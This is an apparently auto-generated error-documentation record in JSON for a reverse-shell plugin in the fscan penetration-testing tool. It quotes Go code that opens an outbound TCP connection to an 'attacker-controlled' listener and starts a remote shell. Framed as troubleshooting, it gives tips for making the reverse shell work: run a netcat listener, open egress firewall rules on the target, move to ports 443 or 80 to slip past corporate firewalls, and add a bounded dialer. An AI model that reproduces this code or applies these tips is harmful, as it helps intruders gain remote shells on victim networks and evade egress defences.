{"record":{"id":"471900744edd3e30","repo":"shadow1ng/fscan","slug":"s-w-connection-failed-plain","errorCode":null,"errorMessage":"%s: %w [connection_failed_plain]","messagePattern":"(.+?): %w \\[connection_failed_plain\\]","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/local/reverseshell.go","lineNumber":97,"sourceCode":"\t}\n\n\toutput.WriteString(i18n.GetText(\"reverseshell_done\") + \"\\n\")\n\tsession.LogSuccess(i18n.Tr(\"reverseshell_complete\", target))\n\n\treturn &plugins.Result{\n\t\tSuccess: true,\n\t\tType:    plugins.ResultTypeService,\n\t\tOutput:  output.String(),\n\t\tError:   nil,\n\t}\n}\n\n// startNativeReverseShell 启动Go原生反弹Shell\nfunc (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error {\n\t// 连接到目标\n\tconn, err := net.Dial(\"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"connection_failed_plain\"), err)\n\t}\n\tdefer func() { _ = conn.Close() }()\n\n\tsession.LogSuccess(i18n.Tr(\"reverseshell_connected\", host, port))\n\n\t// 设置反弹Shell为活跃状态\n\tstate.SetReverseShellActive(true)\n\tdefer func() {\n\t\tstate.SetReverseShellActive(false)\n\t}()\n\n\t// 发送欢迎消息\n\twelcomeMsg := fmt.Sprintf(\"Go Native Reverse Shell - %s/%s\\n\", runtime.GOOS, runtime.GOARCH)\n\t_, _ = conn.Write([]byte(welcomeMsg))\n\t_, _ = conn.Write([]byte(\"Type 'exit' to quit\\n\"))\n\n\t// 创建读取器\n\treader := bufio.NewReader(conn)","sourceCodeStart":79,"sourceCodeEnd":115,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/local/reverseshell.go#L79-L115","documentation":"The native reverse-shell plugin failed to establish the outbound TCP connection to the attacker-controlled host:port via net.Dial. The dial error is wrapped so callers can inspect net.OpError/DNSError.","triggerScenarios":"net.Dial(\"tcp\", host:port) in startNativeReverseShell returns err — connection refused, host unreachable, DNS failure, or firewall blocking egress.","commonSituations":"Listener not running on the C2 host/port; typo in host or port in the plugin config; corporate egress firewall blocking the port; target network has no route to the listener.","solutions":["Verify the listener is up on the configured host:port (nc -lvp <port> / netcat) before running the plugin.","Check host/IP and port configuration for typos; test with `Test-NetConnection host -Port port`.","Open an egress firewall rule on the target for the chosen port, or switch to a commonly allowed port (443/80).","If DNS is the cause, use the literal IP in the plugin configuration."],"exampleFix":"// before\nconn, err := net.Dial(\"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\nif err != nil {\n\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"connection_failed_plain\"), err)\n}\n// after — add a bounded dial with context so failures fail fast and clearly\nd := net.Dialer{Timeout: 10 * time.Second}\nconn, err := d.DialContext(ctx, \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\nif err != nil {\n\treturn fmt.Errorf(\"%s: %w\", i18n.GetText(\"connection_failed_plain\"), err)\n}","handlingStrategy":"retry","validationCode":"func reachable(host string, port int, timeout time.Duration) error {\n\tconn, err := net.DialTimeout(\"tcp\", net.JoinHostPort(host, strconv.Itoa(port)), timeout)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_ = conn.Close()\n\treturn nil\n}","typeGuard":"func isDialError(err error) bool {\n\tvar opErr *net.OpError\n\treturn errors.As(err, &opErr)\n}","tryCatchPattern":"if err := startNativeReverseShell(ctx, host, port, state, session); err != nil {\n\tvar dnsErr *net.DNSError\n\tif errors.As(err, &dnsErr) {\n\t\t// resolve/config fix\n\t} else if isConnRefused(err) {\n\t\t// listener down on host:port\n\t}\n}","preventionTips":["Start the listener before running the reverse-shell plugin","Verify host/port with a TCP probe first","Prefer literal IPs to avoid DNS surprises","Use a context-bounded Dialer with a timeout"],"tags":["network","tcp","reverseshell"],"backgroundTag":"connection-refused","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T00:17:10.932Z"}